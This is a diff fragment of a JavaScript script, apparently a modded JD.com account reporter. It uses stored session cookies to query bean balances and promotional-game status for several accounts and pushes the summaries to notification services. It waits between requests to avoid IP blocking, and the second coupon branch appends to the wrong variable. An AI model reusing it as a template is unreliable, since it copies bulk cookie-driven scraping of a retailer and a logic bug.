console.log("检测到设定关闭京东赚赚查询"); + EnableJdZZ=false; +} + +//京东秒杀 +let EnableJdMs=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东秒杀"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东秒杀查询"); + EnableJdMs=false; +} + +//东东农场 +let EnableJdFruit=true; +DisableIndex = strDisableList.findIndex((item) => item === "东东农场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东农场查询"); + EnableJdFruit=false; +} + +//极速金币 +let EnableJdSpeed=true; +DisableIndex = strDisableList.findIndex((item) => item === "极速金币"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭极速金币查询"); + EnableJdSpeed=false; +} + +//京喜牧场 +let EnableJxMC=true; +DisableIndex= strDisableList.findIndex((item) => item === "京喜牧场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜牧场查询"); + EnableJxMC=false; +} +//京喜工厂 +let EnableJxGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京喜工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜工厂查询"); + EnableJxGC=false; +} + +// 京东工厂 +let EnableJDGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京东工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东工厂查询"); + EnableJDGC=false; +} +//领现金 +let EnableCash=true; +DisableIndex=strDisableList.findIndex((item) => item === "领现金"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭领现金查询"); + EnableCash=false; +} + +//金融养猪 +let EnablePigPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "金融养猪"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭金融养猪查询"); + EnablePigPet=false; +} +//东东萌宠 +let EnableJDPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "东东萌宠"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东萌宠查询"); + EnableJDPet=false +} + +DisableIndex=strDisableList.findIndex((item) => item === "活动攻略"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭活动攻略显示"); + RemainMessage=""; +} + + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.todayOutcomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.levelName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + $.JdzzNum = 0; + $.JdMsScore = 0; + $.JdFarmProdName = ''; + $.JdtreeEnergy = 0; + $.JdtreeTotalEnergy = 0; + $.treeState = 0; + $.JdwaterTotalT = 0; + $.JdwaterD = 0; + $.JDwaterEveryDayT = 0; + $.JDtotalcash = 0; + $.JDEggcnt = 0; + $.Jxmctoken = ''; + $.DdFactoryReceive = ''; + $.jxFactoryInfo = ''; + $.jxFactoryReceive = ''; + $.jdCash = 0; + $.isPlusVip = 0; + $.JingXiang = ""; + $.allincomeBean = 0; //月收入 + $.allexpenseBean = 0; //月支出 + $.joylevel = 0; + $.beanChangeXi=0; + $.inJxBean=0; + $.OutJxBean=0; + $.todayinJxBean=0; + $.todayOutJxBean=0; + $.xibeanCount = 0; + $.PigPet = ''; + $.YunFeiTitle=""; + $.YunFeiQuan = 0; + $.YunFeiQuanEndTime = ""; + $.YunFeiTitle2=""; + $.YunFeiQuan2 = 0; + $.YunFeiQuanEndTime2 = ""; + TempBaipiao = ""; + strGuoqi=""; + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********`); + + await TotalBean(); + await TotalBean2(); + if (!$.isLogin) { + await isLoginByX1a0He(); + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + //汪汪乐园 + if(EnableJoyPark) + await getJoyBaseInfo(); + + //京东赚赚 + if(EnableJdZZ) + await getJdZZ(); + + //京东秒杀 + if(EnableJdMs) + await getMs(); + + //东东农场 + if(EnableJdFruit){ + await jdfruitRequest('taskInitForFarm', { + "version": 14, + "channel": 1, + "babelChannel": "120" + }); + await getjdfruit(); + } + //极速金币 + if(EnableJdSpeed) + await cash(); + + //京喜牧场 + if(EnableJxMC){ + await requestAlgo(); + await JxmcGetRequest(); + } + + //京豆查询 + await bean(); + + if (llShowMonth) { + console.log("开始获取月数据,请稍后..."); + await Monthbean(); + console.log("月数据获取完毕,暂停10秒防止IP被黑..."); + await $.wait(10 * 1000); + } + + //京喜工厂 + if(EnableJxGC) + await getJxFactory(); + + // 京东工厂 + if(EnableJDGC) + await getDdFactoryInfo(); + + //领现金 + if(EnableCash) + await jdCash(); + + //喜豆查询 + if(EnableJxBeans){ + await GetJxBeanInfo(); + await jxbean(); + } + + //金融养猪 + if(EnablePigPet) + await GetPigPetInfo(); + + await showMsg(); + if (intPerSent > 0) { + if ((i + 1) % intPerSent == 0) { + console.log("分段通知条件达成,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + allMessage = ""; + allMessageMonth = ""; + } + + } + } + } + //组1通知 + if (ReceiveMessageGp4) { + allMessage2Gp4 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp4; + } + if (WarnMessageGp4) { + if (allMessage2Gp4) { + allMessage2Gp4 = `\n` + allMessage2Gp4; + } + allMessage2Gp4 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp4 + allMessage2Gp4; + } + + //组2通知 + if (ReceiveMessageGp2) { + allMessage2Gp2 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp2; + } + if (WarnMessageGp2) { + if (allMessage2Gp2) { + allMessage2Gp2 = `\n` + allMessage2Gp2; + } + allMessage2Gp2 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp2 + allMessage2Gp2; + } + + //组3通知 + if (ReceiveMessageGp3) { + allMessage2Gp3 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp3; + } + if (WarnMessageGp3) { + if (allMessage2Gp3) { + allMessage2Gp3 = `\n` + allMessage2Gp3; + } + allMessage2Gp3 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp3 + allMessage2Gp3; + } + + //其他通知 + if (allReceiveMessage) { + allMessage2 = `【⏰商品白嫖活动领取提醒⏰】\n` + allReceiveMessage; + } + if (allWarnMessage) { + if (allMessage2) { + allMessage2 = `\n` + allMessage2; + } + allMessage2 = `【⏰商品白嫖活动任务提醒⏰】\n` + allWarnMessage + allMessage2; + } + + if (intPerSent > 0) { + //console.log("分段通知还剩下" + cookiesArr.length % intPerSent + "个账号需要发送..."); + if (allMessage || allMessageMonth) { + console.log("分段通知收尾,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + } else { + + if ($.isNode() && allMessageGp2) { + var TempMessage=allMessageGp2; + if(strAllNotify) + allMessageGp2=strAllNotify+`\n`+allMessageGp2; + await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp3) { + var TempMessage=allMessageGp3; + if(strAllNotify) + allMessageGp3=strAllNotify+`\n`+allMessageGp3; + await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp4) { + var TempMessage=allMessageGp4; + if(strAllNotify) + allMessageGp4=strAllNotify+`\n`+allMessageGp4; + await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + + if ($.isNode() && allMessageMonthGp2) { + await notify.sendNotify(`京东月资产变动#2`, `${allMessageMonthGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp3) { + await notify.sendNotify(`京东月资产变动#3`, `${allMessageMonthGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp4) { + await notify.sendNotify(`京东月资产变动#4`, `${allMessageMonthGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + } + + if ($.isNode() && allMessage2Gp2) { + allMessage2Gp2 += RemainMessage; + await notify.sendNotify("京东白嫖榜#2", `${allMessage2Gp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp3) { + allMessage2Gp3 += RemainMessage; + await notify.sendNotify("京东白嫖榜#3", `${allMessage2Gp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp4) { + allMessage2Gp4 += RemainMessage; + await notify.sendNotify("京东白嫖榜#4", `${allMessage2Gp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2) { + allMessage2 += RemainMessage; + await notify.sendNotify("京东白嫖榜", `${allMessage2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function showMsg() { + //if ($.errorMsg) + //return + ReturnMessageTitle=""; + ReturnMessage = ""; + var strsummary=""; + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); + } + + if (userIndex2 != -1) { + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex3 != -1) { + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex4 != -1) { + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; + } + + if ($.levelName || $.JingXiang){ + ReturnMessage += `【账号信息】`; + if ($.levelName) { + if ($.levelName.length > 2) + $.levelName = $.levelName.substring(0, 2); + + if ($.levelName == "注册") + $.levelName = `😊普通`; + + if ($.levelName == "钻石") + $.levelName = `💎钻石`; + + if ($.levelName == "金牌") + $.levelName = `🥇金牌`; + + if ($.levelName == "银牌") + $.levelName = `🥈银牌`; + + if ($.levelName == "铜牌") + $.levelName = `🥉铜牌`; + + if ($.isPlusVip == 1) + ReturnMessage += `${$.levelName}Plus`; + else + ReturnMessage += `${$.levelName}会员`; + } + + if ($.JingXiang){ + if ($.levelName) { + ReturnMessage +=","; + } + ReturnMessage += `${$.JingXiang}`; + } + ReturnMessage +=`\n`; + } + if (llShowMonth) { + ReturnMessageMonth = ReturnMessage; + ReturnMessageMonth += `\n【上月收入】:${$.allincomeBean}京豆 🐶\n`; + ReturnMessageMonth += `【上月支出】:${$.allexpenseBean}京豆 🐶\n`; + + console.log(ReturnMessageMonth); + + if (userIndex2 != -1) { + allMessageMonthGp2 += ReturnMessageMonth + `\n`; + } + if (userIndex3 != -1) { + allMessageMonthGp3 += ReturnMessageMonth + `\n`; + } + if (userIndex4 != -1) { + allMessageMonthGp4 += ReturnMessageMonth + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessageMonth += ReturnMessageMonth + `\n`; + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京东月资产变动", `${ReturnMessageMonth}`, `${$.UserName}`); + } + + } + + ReturnMessage += `【今日京豆】收${$.todayIncomeBean}豆`; + strsummary+= `【今日京豆】收${$.todayIncomeBean}豆`; + if ($.todayOutcomeBean != 0) { + ReturnMessage += `,支${$.todayOutcomeBean}豆`; + strsummary += `,支${$.todayOutcomeBean}豆`; + } + ReturnMessage += `\n`; + strsummary+= `\n`; + ReturnMessage += `【昨日京豆】收${$.incomeBean}豆`; + + if ($.expenseBean != 0) { + ReturnMessage += `,支${$.expenseBean}豆`; + } + ReturnMessage += `\n`; + + if ($.beanCount){ + ReturnMessage += `【当前京豆】${$.beanCount}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary+= `【当前京豆】${$.beanCount}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } else { + if($.levelName || $.JingXiang) + ReturnMessage += `【当前京豆】获取失败,接口返回空数据\n`; + else{ + ReturnMessage += `【当前京豆】${$.beanCount}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary += `【当前京豆】${$.beanCount}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } + } + + if (EnableJxBeans) { + ReturnMessage += `【今日喜豆】收${$.todayinJxBean}豆`; + if ($.todayOutJxBean != 0) { + ReturnMessage += `,支${$.todayOutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【昨日喜豆】收${$.inJxBean}豆`; + if ($.OutJxBean != 0) { + ReturnMessage += `,支${$.OutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【当前喜豆】${$.xibeanCount}喜豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + strsummary += `【当前喜豆】${$.xibeanCount}豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + } + + + if ($.JDEggcnt) { + ReturnMessage += `【京喜牧场】${$.JDEggcnt}枚鸡蛋\n`; + } + if ($.JDtotalcash) { + ReturnMessage += `【极速金币】${$.JDtotalcash}币(≈${($.JDtotalcash / 10000).toFixed(2)}元)\n`; + } + if ($.JdzzNum) { + ReturnMessage += `【京东赚赚】${$.JdzzNum}币(≈${($.JdzzNum / 10000).toFixed(2)}元)\n`; + } + if ($.JdMsScore != 0) { + ReturnMessage += `【京东秒杀】${$.JdMsScore}币(≈${($.JdMsScore / 1000).toFixed(2)}元)\n`; + } + + if ($.joylevel || $.jdCash) { + ReturnMessage += `【其他信息】`; + if ($.joylevel) { + ReturnMessage += `汪汪:${$.joylevel}级`; + if ($.jdCash) { + ReturnMessage += ","; + } + } + if ($.jdCash) { + ReturnMessage += `领现金:${$.jdCash}元`; + } + + ReturnMessage += `\n`; + + } + + if ($.JdFarmProdName != "") { + if ($.JdtreeEnergy != 0) { + if ($.treeState === 2 || $.treeState === 3) { + ReturnMessage += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + TempBaipiao += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + } else { + if ($.JdwaterD != 'Infinity' && $.JdwaterD != '-Infinity') { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%,${$.JdwaterD}天)\n`; + } else { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%)\n`; + + } + } + } else { + if ($.treeState === 0) { + TempBaipiao += `【东东农场】水果领取后未重新种植!\n`; + + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + + } else if ($.treeState === 1) { + ReturnMessage += `【东东农场】${$.JdFarmProdName}种植中...\n`; + } else { + TempBaipiao += `【东东农场】状态异常!\n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + //ReturnMessage += `【东东农场】${$.JdFarmProdName}状态异常${$.treeState}...\n`; + } + } + } + if ($.jxFactoryInfo) { + ReturnMessage += `【京喜工厂】${$.jxFactoryInfo}\n` + } + if ($.ddFactoryInfo) { + ReturnMessage += `【东东工厂】${$.ddFactoryInfo}\n` + } + if ($.DdFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + TempBaipiao += `【东东工厂】${$.ddFactoryInfo} 可以兑换了!\n`; + } + if ($.jxFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + + TempBaipiao += `【京喜工厂】${$.jxFactoryReceive} 可以兑换了!\n`; + + } + + if ($.PigPet) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + + TempBaipiao += `【金融养猪】${$.PigPet} 可以兑换了!\n`; + + } + if(EnableJDPet){ + llPetError=false; + const response = await PetRequest('energyCollect'); + const initPetTownRes = await PetRequest('initPetTown'); + if(!llPetError && initPetTownRes){ + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + ReturnMessage += `【东东萌宠】活动未开启!\n`; + } else if ($.petInfo.petStatus === 5) { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + TempBaipiao += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + } else if ($.petInfo.petStatus === 6) { + TempBaipiao += `【东东萌宠】未选择物品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + } else if (response.resultCode === '0') { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}`; + ReturnMessage += `(${(response.result.medalPercent).toFixed(0)}%,${response.result.medalNum}/${response.result.medalNum+response.result.needCollectMedalNum}块)\n`; + } else if (!$.petInfo.goodsInfo) { + ReturnMessage += `【东东萌宠】暂未选购新的商品!\n`; + TempBaipiao += `【东东萌宠】暂未选购新的商品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + + } + } + } + } + + if(strGuoqi){ + ReturnMessage += `💸💸💸临期京豆明细💸💸💸\n`; + ReturnMessage += `${strGuoqi}`; + } + ReturnMessage += `🧧🧧🧧红包明细🧧🧧🧧\n`; + ReturnMessage += `${$.message}`; + strsummary +=`${$.message}`; + + if($.YunFeiQuan){ + var strTempYF="【免运费券】"+$.YunFeiQuan+"张"; + if($.YunFeiQuanEndTime) + strTempYF+=",有效期至"+$.YunFeiQuanEndTime; + strTempYF+="\n"; + ReturnMessage +=strTempYF + strsummary +=strTempYF; + } + if($.YunFeiQuan2){ + var strTempYF2="【免运费券】"+$.YunFeiQuan2+"张"; + if($.YunFeiQuanEndTime2) + strTempYF+=",有效期至"+$.YunFeiQuanEndTime; + strTempYF2+="\n"; + ReturnMessage +=strTempYF2 + strsummary +=strTempYF2; + } + + if (userIndex2 != -1) { + allMessageGp2 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex3 != -1) { + allMessageGp3 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex4 != -1) { + allMessageGp4 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessage += ReturnMessageTitle+ReturnMessage + `\n`; + } + + console.log(`${ReturnMessageTitle+ReturnMessage}`); + + if ($.isNode() && WP_APP_TOKEN_ONE) { + var strTitle="京东资产变动"; + ReturnMessage=`【账号名称】${$.nickName || $.UserName}\n`+ReturnMessage; + + if (TempBaipiao) { + strsummary=strSubNotify+TempBaipiao +strsummary; + TempBaipiao = `【⏰商品白嫖活动提醒⏰】\n` + TempBaipiao; + ReturnMessage = TempBaipiao + `\n` + ReturnMessage; + } else { + strsummary = strSubNotify + strsummary; + } + + ReturnMessage += RemainMessage; + + if(strAllNotify) + ReturnMessage=strAllNotify+`\n`+ReturnMessage; + + await notify.sendNotifybyWxPucher(strTitle, `${ReturnMessage}`, `${$.UserName}`,'\n\n本通知 By ccwav Mod',strsummary); + } + + //$.msg($.name, '', ReturnMessage , {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, + t = 0, + yesterdayArr = [], + todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + await $.wait(2000); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } 